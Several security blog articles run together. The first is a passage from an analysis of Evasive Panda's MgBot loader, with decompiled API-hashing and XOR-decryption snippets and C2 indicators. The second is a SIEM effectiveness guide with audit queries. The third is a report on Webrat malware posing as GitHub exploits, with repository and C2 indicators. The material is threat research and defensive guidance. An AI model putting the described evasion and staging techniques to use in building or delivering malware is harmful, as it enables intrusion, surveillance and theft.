If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

A SIEM is a complex system offering broad and flexible threat detection capabilities. Due to its complexity, its effectiveness heavily depends on how it is configured and what data sources are connected to it. A one-time SIEM setup during implementation is not enough: both the organization’s infrastructure and attackers’ techniques evolve over time. To operate effectively, the SIEM system must reflect the current state of affairs.

We provide customers with services to assess SIEM effectiveness, helping to identify issues and offering options for system optimization. In this article, we examine typical SIEM operational pitfalls and how to address them. For each case, we also include methods for independent verification.

This material is based on an assessment of Kaspersky SIEM effectiveness; therefore, all specific examples, commands, and field names are taken from that solution. However, the assessment methodology, issues we identified, and ways to enhance system effectiveness can easily be extrapolated to any other SIEM.

Methodology for assessing SIEM effectiveness

The primary audience for the effectiveness assessment report comprises the SIEM support and operation teams within an organization. The main goal is to analyze how well the usage of SIEM aligns with its objectives. Consequently, the scope of checks can vary depending on the stated goals. A standard assessment is conducted across the following areas:

• Composition and scope of connected data sources
• Coverage of data sources
• Data flows from existing sources
• Correctness of data normalization
• Detection logic operability
• Detection logic accuracy
• Detection logic coverage
• Use of contextual data
• SIEM technical integration into SOC processes
• SOC analysts’ handling of alerts in the SIEM
• Forwarding of alerts, security event data, and incident information to other systems
• Deployment architecture and documentation

At the same time, these areas are examined not only in isolation but also in terms of their potential influence on one another. Here are a couple of examples illustrating this interdependence:

• Issues with detection logic due to incorrect data normalization. A correlation rule with the condition deviceCustomString1 not contains <string> triggers a large number of alerts. The detection logic itself is correct: the specific event and the specific field it targets should not generate a large volume of data matching the condition. Our review revealed the issue was in the data ingested by the SIEM, where incorrect encoding caused the string targeted by the rule to be transformed into a different one. Consequently, all events matched the condition and generated alerts.
• When analyzing coverage for a specific source type, we discovered that the SIEM was only monitoring 5% of all such sources deployed in the infrastructure. However, extending that coverage would increase system load and storage requirements. Therefore, besides connecting additional sources, it would be necessary to scale resources for specific modules (storage, collectors, or the correlator).

The effectiveness assessment consists of several stages:

• Collect and analyze documentation, if available. This allows assessing SIEM objectives, implementation settings (ideally, the deployment settings at the time of the assessment), associated processes, and so on.
• Interview system engineers, analysts, and administrators. This allows assessing current tasks and the most pressing issues, as well as determining exactly how the SIEM is being operated. Interviews are typically broken down into two phases: an introductory interview, conducted at project start to gather general information, and a follow-up interview, conducted mid-project to discuss questions arising from the analysis of previously collected data.
• Gather information within the SIEM and then analyze it. This is the most extensive part of the assessment, during which Kaspersky experts are granted read-only access to the system or a part of it to collect factual data on its configuration, detection logic, data flows, and so on.

The assessment produces a list of recommendations. Some of these can be implemented almost immediately, while others require more comprehensive changes driven by process optimization or a transition to a more structured approach to system use.

Issues arising from SIEM operations

The problems we identify during a SIEM effectiveness assessment can be divided into three groups:

• Performance issues, meaning operational errors in various system components. These problems are typically resolved by technical support, but to prevent them, it is worth periodically checking system health status.
• Efficiency issues – when the system functions normally but seemingly adds little value or is not used to its full potential. This is usually due to the customer using the system capabilities in a limited way, incorrectly, or not as intended by the developer.
• Detection issues – when the SIEM is operational and continuously evolving according to defined processes and approaches, but alerts are mostly false positives, and the system misses incidents. For the most part, these problems are related to the approach taken in developing detection logic.

Key observations from the assessment

Event source inventory

When building the inventory of event sources for a SIEM, we follow the principle of layered monitoring: the system should have information about all detectable stages of an attack. This principle enables the detection of attacks even if individual malicious actions have gone unnoticed, and allows for retrospective reconstruction of the full attack chain, starting from the attackers’ point of entry.

Problem: During effectiveness assessments, we frequently find that the inventory of connected source types is not updated when the infrastructure changes. In some cases, it has not been updated since the initial SIEM deployment, which limits incident detection capabilities. Consequently, certain types of sources remain completely invisible to the system.

We have also encountered non-standard cases of incomplete source inventory. For example, an infrastructure contains hosts running both Windows and Linux, but monitoring is configured for only one family of operating systems.

How to detect: To identify the problems described above, determine the list of source types connected to the SIEM and compare it against what actually exists in the infrastructure. Identifying the presence of specific systems in the infrastructure requires an audit. However, this task is one of the most critical for many areas of cybersecurity, and we recommend running it on a periodic basis.

We have compiled a reference sheet of system types commonly found in most organizations. Depending on the organization type, infrastructure, and threat model, we may rearrange priorities. However, a good starting point is as follows:

• High Priority – sources associated with:
  • Remote access provision
  • External services accessible from the internet
  • External perimeter
  • Endpoint operating systems
  • Information security tools
• Medium Priority – sources associated with:
  • Remote access management within the perimeter
  • Internal network communication
  • Infrastructure availability
  • Virtualization and cloud solutions
• Low Priority – sources associated with:
  • Business applications
  • Internal IT services
  • Applications used by various specialized teams (HR, Development, PR, IT, and so on)

Monitoring data flow from sources

Regardless of how good the detection logic is, it cannot function without telemetry from the data sources.

Problem: The SIEM core is not receiving events from specific sources or collectors. Based on all assessments conducted, the average proportion of collectors that are configured with sources but are not transmitting events is 38%. Correlation rules may exist for these sources, but they will, of course, never trigger. It is also important to remember that a single collector can serve hundreds of sources (such as workstations), so the loss of data flow from even one collector can mean losing monitoring visibility for a significant portion of the infrastructure.

How to detect: The process of locating sources that are not transmitting data can be broken down into two components.

1. Checking collector health. Find the status of collectors (see the support website for the steps to do this in Kaspersky SIEM) and identify those with a status of Offline, Stopped, Disabled, and so on.
2. Checking the event flow. In Kaspersky SIEM, this can be done by gathering statistics using the following query (counting the number of events received from each collector over a specific time period):

SELECT count(ID), CollectorID, CollectorName FROM `events` GROUP BY CollectorID, CollectorName ORDER BY count(ID)

It is essential to specify an optimal time range for collecting these statistics. Too large a range can increase the load on the SIEM, while too small a range may provide inaccurate information for a one-time check – especially for sources that transmit telemetry relatively infrequently, say, once a week. Therefore, it is advisable to choose a smaller time window, such as 2–4 days, but run several queries for different periods in the past.

Additionally, for a more comprehensive approach, it is recommended to use built-in functionality or custom logic implemented via correlation rules and lists to monitor event flow. This will help automate the process of detecting problems with sources.

Event source coverage

Problem: The system is not receiving events from all sources of a particular type that exist in the infrastructure. For example, the company uses workstations and servers running Windows. During SIEM deployment, workstations are immediately connected for monitoring, while the server segment is postponed for one reason or another. As a result, the SIEM receives events from Windows systems, the flow is normalized, and correlation rules work, but an incident in the unmonitored server segment would go unnoticed.

How to detect: Below are query variations that can be used to search for unconnected sources.

• SELECT count(distinct, DeviceAddress), DeviceVendor, DeviceProduct FROM events GROUP BY DeviceVendor, DeviceProduct ORDER BY count(ID)
• SELECT count(distinct, DeviceHostName), DeviceVendor, DeviceProduct FROM events GROUP BY DeviceVendor, DeviceProduct ORDER BY count(ID)

We have split the query into two variations because, depending on the source and the DNS integration settings, some events may contain either a DeviceAddress or DeviceHostName field.

These queries will help determine the number of unique data sources sending logs of a specific type. This count must be compared against the actual number of sources of that type, obtained from the system owners.

Retaining raw data

Raw data can be useful for developing custom normalizers or for storing events not used in correlation that might be needed during incident investigation. However, careless use of this setting can cause significantly more harm than good.

Problem: Enabling the Keep raw event option effectively doubles the event size in the database, as it stores two copies: the original and the normalized version. This is particularly critical for high-volume collectors receiving events from sources like NetFlow, DNS, firewalls, and others. It is worth noting that this option is typically used for testing a normalizer but is often forgotten and left enabled after its configuration is complete.

How to detect: This option is applied at the normalizer level. Therefore, it is necessary to review all active normalizers and determine whether retaining raw data is required for their operation.

Normalization

As with the absence of events from sources, normalization issues lead to detection logic failing, as this logic relies on finding specific information in a specific event field.

Problem: Several issues related to normalization can be identified:

• The event flow is not being normalized at all.
• Events are only partially normalized – this is particularly relevant for custom, non-out-of-the-box normalizers.
• The normalizer being used only parses headers, such as syslog_headers, placing the entire event body into a single field, this field most often being Message.
• An outdated default normalizer is being used.

How to detect: Identifying normalization issues is more challenging than spotting source problems due to the high volume of telemetry and variety of parsers. Here are several approaches to narrowing the search:

• First, check which normalizers supplied with the SIEM the organization uses and whether their versions are up to date. In our assessments, we frequently encounter auditd events being normalized by the outdated normalizer, Linux audit and iptables syslog v2 for Kaspersky SIEM. The new normalizer completely reworks and optimizes the normalization schema for events from this source.
• Execute the query:

SELECT count(ID), DeviceProduct, DeviceVendor, CollectorName FROM `events` GROUP BY DeviceProduct, DeviceVendor, CollectorName ORDER BY count(ID)

This query gathers statistics on events from each collector, broken down by the DeviceVendor and DeviceProduct fields. While these fields are not mandatory, they are present in almost any normalization schema. Therefore, their complete absence or empty values may indicate normalization issues. We recommend including these fields when developing custom normalizers.

To simplify the identification of normalization problems when developing custom normalizers, you can implement the following mechanism. For each successfully normalized event, add a Name field, populated from a constant or the event itself. For a final catch-all normalizer that processes all unparsed events, set the constant value: Name = unparsed event. This will later allow you to identify non-normalized events through a simple search on this field.

Detection logic coverage

Collected events alone are, in most cases, only useful for investigating an incident that has already been identified. For a SIEM to operate to its full potential, it requires detection logic to be developed to uncover probable security incidents.

Problem: The mean correlation rule coverage of sources, determined across all our assessments, is 43%. While this figure is only a ballpark figure – as different source types provide different information – to calculate it, we defined “coverage” as the presence of at least one correlation rule for a source. This means that for more than half of the connected sources, the SIEM is not actively detecting. Meanwhile, effort and SIEM resources are spent on connecting, maintaining, and configuring these sources. In some cases, this is formally justified, for instance, if logs are only needed for regulatory compliance. However, this is an exception rather than the rule.

We do not recommend solving this problem by simply not connecting sources to the SIEM. On the contrary, sources should be connected, but this should be done concurrently with the development of corresponding detection logic. Otherwise, it can be forgotten or postponed indefinitely, while the source pointlessly consumes system resources.

How to detect: This brings us back to auditing, a process that can be greatly aided by creating and maintaining a register of developed detection logic. Given that not every detection logic rule explicitly states the source type from which it expects telemetry, its description should be added to this register during the development phase.

If descriptions of the correlation rules are not available, you can refer to the following:

• The name of the detection logic. With a standardized approach to naming correlation rules, the name can indicate the associated source or at least provide a brief description of what it detects.
• The use of fields within the rules, such as DeviceVendor, DeviceProduct (another argument for including these fields in the normalizer), Name, DeviceAction, DeviceEventCategory, DeviceEventClassID, and others. These can help identify the actual source.

Excessive alerts generated by the detection logic

One criterion for correlation rules effectiveness is a low false positive rate.

Problem: Detection logic generates an abnormally high number of alerts that are physically impossible to process, regardless of the size of the SOC team.

How to detect: First and foremost, detection logic should be tested during development and refined to achieve an acceptable false positive rate. However, even a well-tuned correlation rule can start producing excessive alerts due to changes in the event flow or connected infrastructure. To identify these rules, we recommend periodically running the following query:

SELECT count(ID), Name FROM `events` WHERE Type = 3 GROUP BY Name ORDER BY count(ID)

In Kaspersky SIEM, a value of 3 in the Type field indicates a correlation event.

Subsequently, for each identified rule with an anomalous alert count, verify the correctness of the logic it uses and the integrity of the event stream on which it triggered.

Depending on the issue you identify, the solution may involve modifying the detection logic, adding exceptions (for example, it is often the case that 99% of the spam originates from just 1–5 specific objects, such as an IP address, a command parameter, or a URL), or adjusting event collection and normalization.

Lack of integration with indicators of compromise

SIEM integrations with other systems are generally a critical part of both event processing and alert enrichment. In at least one specific case, their presence directly impacts detection performance: integration with technical Threat Intelligence data or IoCs (indicators of compromise).

A SIEM allows conveniently checking objects against various reputation databases or blocklists. Furthermore, there are numerous sources of this data that are ready to integrate natively with a SIEM or require minimal effort to incorporate.

Problem: There is no integration with TI data.

How to detect: Generally, IoCs are integrated into a SIEM at the system configuration level during deployment or subsequent optimization. The use of TI within a SIEM can be implemented at various levels:

• At the data source level. Some sources, such as NGFWs, add this information to events involving relevant objects.
• At the SIEM native functionality level. For example, Kaspersky SIEM integrates with CyberTrace indicators, which add object reputation information at the moment of processing an event from a source.
• At the detection logic level. Information about IoCs is stored in various active lists, and correlation rules match objects against these to enrich the event.

Furthermore, TI data does not appear in a SIEM out of thin air. It is either provided by external suppliers (commercially or in an open format) or is part of the built-in functionality of the security tools in use. For instance, various NGFW systems can additionally check the reputation of external IP addresses or domains that users are accessing. Therefore, the first step is to determine whether you are receiving information about indicators of compromise and in what form (whether external providers’ feeds have been integrated and/or the deployed security tools have this capability). It is worth noting that receiving TI data only at the security tool level does not always cover all types of IoCs.

If data is being received in some form, the next step is to verify that the SIEM is utilizing it. For TI-related events coming from security tools, the SIEM needs a correlation rule developed to generate alerts. Thus, checking integration in this case involves determining the capabilities of the security tools, searching for the corresponding events in the SIEM, and identifying whether there is detection logic associated with these events. If events from the security tools are absent, the source audit configuration should be assessed to see if the telemetry type in question is being forwarded to the SIEM at all. If normalization is the issue, you should assess parsing accuracy and reconfigure the normalizer.

If TI data comes from external providers, determine how it is processed within the organization. Is there a centralized system for aggregating and managing threat data (such as CyberTrace), or is the information stored in, say, CSV files?

In the former case (there is a threat data aggregation and management system) you must check if it is integrated with the SIEM. For Kaspersky SIEM and CyberTrace, this integration is handled through the SIEM interface. Following this, SIEM event flows are directed to the threat data aggregation and management system, where matches are identified and alerts are generated, and then both are sent back to the SIEM. Therefore, checking the integration involves ensuring that all collectors receiving events that may contain IoCs are forwarding those events to the threat data aggregation and management system. We also recommend checking if the SIEM has a correlation rule that generates an alert based on matching detected objects with IoCs.

In the latter case (threat information is stored in files), you must confirm that the SIEM has a collector and normalizer configured to load this data into the system as events. Also, verify that logic is configured for storing this data within the SIEM for use in correlation. This is typically done with the help of lists that contain the obtained IoCs. Finally, check if a correlation rule exists that compares the event flow against these IoC lists.

As the examples illustrate, integration with TI in standard scenarios ultimately boils down to developing a final correlation rule that triggers an alert upon detecting a match with known IoCs. Given the variety of integration methods, creating and providing a universal out-of-the-box rule is difficult. Therefore, in most cases, to ensure IoCs are connected to the SIEM, you need to determine if the company has developed that rule (the existence of the rule) and if it has been correctly configured. If no correlation rule exists in the system, we recommend creating one based on the TI integration methods implemented in your infrastructure. If a rule does exist, its functionality must be verified: if there are no alerts from it, analyze its trigger conditions against the event data visible in the SIEM and adjust it accordingly.

The SIEM is not kept up to date

For a SIEM to run effectively, it must contain current data about the infrastructure it monitors and the threats it’s meant to detect. Both elements change over time: new systems and software, users, security policies, and processes are introduced into the infrastructure, while attackers develop new techniques and tools. It is safe to assume that a perfectly configured and deployed SIEM system will no longer be able to fully see the altered infrastructure or the new threats after five years of running without additional configuration. Therefore, practically all components – event collection, detection, additional integrations for contextual information, and exclusions – must be maintained and kept up to date.

Furthermore, it is important to acknowledge that it is impossible to cover 100% of all threats. Continuous research into attacks, development of detection methods, and configuration of corresponding rules are a necessity. The SOC itself also evolves. As it reaches certain maturity levels, new growth opportunities open up for the team, requiring the utilization of new capabilities.

Problem: The SIEM has not evolved since its initial deployment.

How to detect: Compare the original statement of work or other deployment documentation against the current state of the system. If there have been no changes, or only minimal ones, it is highly likely that your SIEM has areas for growth and optimization. Any infrastructure is dynamic and requires continuous adaptation.

Other issues with SIEM implementation and operation

In this article, we have outlined the primary problems we identify during SIEM effectiveness assessments, but this list is not exhaustive. We also frequently encounter:

• Mismatch between license capacity and actual SIEM load. The problem is almost always the absence of events from sources, rather than an incorrect initial assessment of the organization’s needs.
• Lack of user rights management within the system (for example, every user is assigned the administrator role).
• Poor organization of customizable SIEM resources (rules, normalizers, filters, and so on). Examples include chaotic naming conventions, non-optimal grouping, and obsolete or test content intermixed with active content. We have encountered confusing resource names like [dev] test_Add user to admin group_final2.
• Use of out-of-the-box resources without adaptation to the organization’s infrastructure. To maximize a SIEM’s value, it is essential at a minimum to populate exception lists and specify infrastructure parameters: lists of administrators and critical services and hosts.
• Disabled native integrations with external systems, such as LDAP, DNS, and GeoIP.

Generally, most issues with SIEM effectiveness stem from the natural degradation (accumulation of errors) of the processes implemented within the system. Therefore, in most cases, maintaining effectiveness involves structuring these processes, monitoring the quality of SIEM engagement at all stages (source onboarding, correlation rule development, normalization, and so on), and conducting regular reviews of all system components and resources.

Conclusion

A SIEM is a powerful tool for monitoring and detecting threats, capable of identifying attacks at various stages across nearly any point in an organization’s infrastructure. However, if improperly configured and operated, it can become ineffective or even useless while still consuming significant resources. Therefore, it is crucial to periodically audit the SIEM’s components, settings, detection rules, and data sources.

If a SOC is overloaded or otherwise unable to independently identify operational issues with its SIEM, we offer Kaspersky SIEM platform users a service to assess its operation. Following the assessment, we provide a list of recommendations to address the issues we identify. That being said, it is important to clarify that these are not strict, prescriptive instructions, but rather highlight areas that warrant attention and analysis to improve the product’s performance, enhance threat detection accuracy, and enable more efficient SIEM utilization.

In early 2025, security researchers uncovered a new malware family named Webrat. Initially, the Trojan targeted regular users by disguising itself as cheats for popular games like Rust, Counter-Strike, and Roblox, or as cracked software. In September, the attackers decided to widen their net: alongside gamers and users of pirated software, they are now targeting inexperienced professionals and students in the information security field.

Distribution and the malicious sample

In October, we uncovered a campaign that had been distributing Webrat via GitHub repositories since at least September. To lure in victims, the attackers leveraged vulnerabilities frequently mentioned in security advisories and industry news. Specifically, they disguised their malware as exploits for the following vulnerabilities with high CVSSv3 scores:

CVE	CVSSv3
CVE-2025-59295	8.8
CVE-2025-10294	9.8
CVE-2025-59230	7.8

This is not the first time threat actors have tried to lure security researchers with exploits. Last year, they similarly took advantage of the high-profile RegreSSHion vulnerability, which lacked a working PoC at the time.

In the Webrat campaign, the attackers bait their traps with both vulnerabilities lacking a working exploit and those which already have one. To build trust, they carefully prepared the repositories, incorporating detailed vulnerability information into the descriptions. The information is presented in the form of structured sections, which include:

• Overview with general information about the vulnerability and its potential consequences
• Specifications of systems susceptible to the exploit
• Guide for downloading and installing the exploit
• Guide for using the exploit
• Steps to mitigate the risks associated with the vulnerability

In all the repositories we investigated, the descriptions share a similar structure, characteristic of AI-generated vulnerability reports, and offer nearly identical risk mitigation advice, with only minor variations in wording. This strongly suggests that the text was machine-generated.

The Download Exploit ZIP link in the Download & Install section leads to a password-protected archive hosted in the same repository. The password is hidden within the name of a file inside the archive.

The archive downloaded from the repository includes four files:

1. pass – 8511: an empty file, whose name contains the password for the archive.
2. payload.dll: a decoy, which is a corrupted PE file. It contains no useful information and performs no actions, serving only to divert attention from the primary malicious file.
3. rasmanesc.exe (note: file names may vary): the primary malicious file (MD5 61b1fc6ab327e6d3ff5fd3e82b430315), which performs the following actions:
   • Escalate its privileges to the administrator level (T1134.002).
   • Disable Windows Defender (T1562.001) to avoid detection.
   • Fetch from a hardcoded URL (ezc5510min.temp[.]swtest[.]ru in our example) a sample of the Webrat family and execute it (T1608.001).
4. start_exp.bat: a file containing a single command: start rasmanesc.exe, which further increases the likelihood of the user executing the primary malicious file.

Webrat is a backdoor that allows the attackers to control the infected system. Furthermore, it can steal data from cryptocurrency wallets, Telegram, Discord and Steam accounts, while also performing spyware functions such as screen recording, surveillance via a webcam and microphone, and keylogging. The version of Webrat discovered in this campaign is no different from those documented previously.

Campaign objectives

Previously, Webrat spread alongside game cheats, software cracks, and patches for legitimate applications. In this campaign, however, the Trojan disguises itself as exploits and PoCs. This suggests that the threat actor is attempting to infect information security specialists and other users interested in this topic. It bears mentioning that any competent security professional analyzes exploits and other malware within a controlled, isolated environment, which has no access to sensitive data, physical webcams, or microphones. Furthermore, an experienced researcher would easily recognize Webrat, as it’s well-documented and the current version is no different from previous ones. Therefore, we believe the bait is aimed at students and inexperienced security professionals.

Conclusion

The threat actor behind Webrat is now disguising the backdoor not only as game cheats and cracked software, but also as exploits and PoCs. This indicates they are targeting researchers who frequently rely on open sources to find and analyze code related to new vulnerabilities.

However, Webrat itself has not changed significantly from past campaigns. These attacks clearly target users who would run the “exploit” directly on their machines — bypassing basic safety protocols. This serves as a reminder that cybersecurity professionals, especially inexperienced researchers and students, must remain vigilant when handling exploits and any potentially malicious files. To prevent potential damage to work and personal devices containing sensitive information, we recommend analyzing these exploits and files within isolated environments like virtual machines or sandboxes.

We also recommend exercising general caution when working with code from open sources, always using reliable security solutions, and never adding software to exclusions without a justified reason.

Kaspersky solutions effectively detect this threat with the following verdicts:

• HEUR:Trojan.Python.Agent.gen
• HEUR:Trojan-PSW.Win64.Agent.gen
• HEUR:Trojan-Banker.Win32.Agent.gen
• HEUR:Trojan-PSW.Win32.Coins.gen
• HEUR:Trojan-Downloader.Win32.Agent.gen
• PDM:Trojan.Win32.Generic

Indicators of compromise

Malicious GitHub repositories
https://github[.]com/RedFoxNxploits/CVE-2025-10294-Poc
https://github[.]com/FixingPhantom/CVE-2025-10294
https://github[.]com/h4xnz/CVE-2025-10294-POC
https://github[.]com/usjnx72726w/CVE-2025-59295/tree/main
https://github[.]com/stalker110119/CVE-2025-59230/tree/main
https://github[.]com/moegameka/CVE-2025-59230
https://github[.]com/DebugFrag/CVE-2025-12596-Exploit
https://github[.]com/themaxlpalfaboy/CVE-2025-54897-LAB
https://github[.]com/DExplo1ted/CVE-2025-54106-POC
https://github[.]com/h4xnz/CVE-2025-55234-POC
https://github[.]com/Hazelooks/CVE-2025-11499-Exploit
https://github[.]com/usjnx72726w/CVE-2025-11499-LAB
https://github[.]com/modhopmarrow1973/CVE-2025-11833-LAB
https://github[.]com/rootreapers/CVE-2025-11499
https://github[.]com/lagerhaker539/CVE-2025-12595-POC

Webrat C2
http://ezc5510min[.]temp[.]swtest[.]ru
http://shopsleta[.]ru

MD5
28a741e9fcd57bd607255d3a4690c82f
a13c3d863e8e2bd7596bac5d41581f6a
61b1fc6ab327e6d3ff5fd3e82b430315

